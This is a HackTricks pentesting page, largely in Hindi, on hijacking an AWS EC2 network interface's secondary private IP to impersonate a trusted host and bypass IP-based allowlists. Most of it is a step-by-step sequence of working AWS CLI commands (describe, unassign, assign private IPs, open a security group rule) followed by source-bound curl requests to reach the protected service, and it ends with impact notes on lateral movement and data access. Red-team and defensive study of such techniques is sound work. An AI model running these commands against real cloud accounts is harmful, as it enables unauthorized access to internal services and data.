AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ec2:UnassignPrivateIpAddresses और ec2:AssignPrivateIpAddresses का दुरुपयोग करके victim ENI के secondary private IP को चुराकर उसे उसी subnet/AZ में attacker ENI पर शिफ्ट करें। कई internal सेवाएँ और security groups विशेष private IPs के आधार पर पहुँच को नियंत्रित करते हैं। उस secondary पते को मूव करके, attacker L3 पर trusted host का impersonate कर सकता है और allowlisted सेवाओं तक पहुँच बना सकता है।

पूर्वापेक्षाएँ:

  • अनुमतियाँ: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses on the victim ENI ARN, and ec2:AssignPrivateIpAddresses on the attacker ENI ARN.
  • Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).

वेरिएबल्स:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP
  • PROTECTED_HOST=

कदम:

  1. victim ENI से एक secondary IP चुनें
bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. सुनिश्चित करें कि सुरक्षित होस्ट केवल उस IP को अनुमति देता है (idempotent)। अगर SG-to-SG rules का उपयोग कर रहे हैं तो इसे छोड़ें।
bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Baseline: attacker instance से PROTECTED_HOST के लिए अनुरोध बिना spoofed source के विफल होना चाहिए (उदा., SSM/SSH के माध्यम से)
bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. victim ENI से secondary IP अनअसाइन करें
bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. attacker ENI को वही IP असाइन करें (on AWS CLI v1 add --allow-reassignment)
bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. सत्यापित करें कि ownership स्थानांतरित हो गया
bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. attacker instance से hijacked IP पर source-bind करें ताकि protected host तक पहुँच सकें (सुनिश्चित करें कि IP OS पर configured है; अगर नहीं, तो इसे ip addr add $HIJACK_IP/<mask> dev eth0 कमांड से जोड़ें)
bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Impact

  • IP allowlists को बाइपास करके और एक ही subnet/AZ में ENIs के बीच secondary private IPs को स्थानांतरित करके VPC के भीतर विश्वसनीय होस्टों की नकल कर सकते हैं।
  • विशिष्ट source IPs के आधार पर एक्सेस को नियंत्रित करने वाली आंतरिक सेवाओं तक पहुँच बनाना, जिससे lateral movement और data access सक्षम होते हैं।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें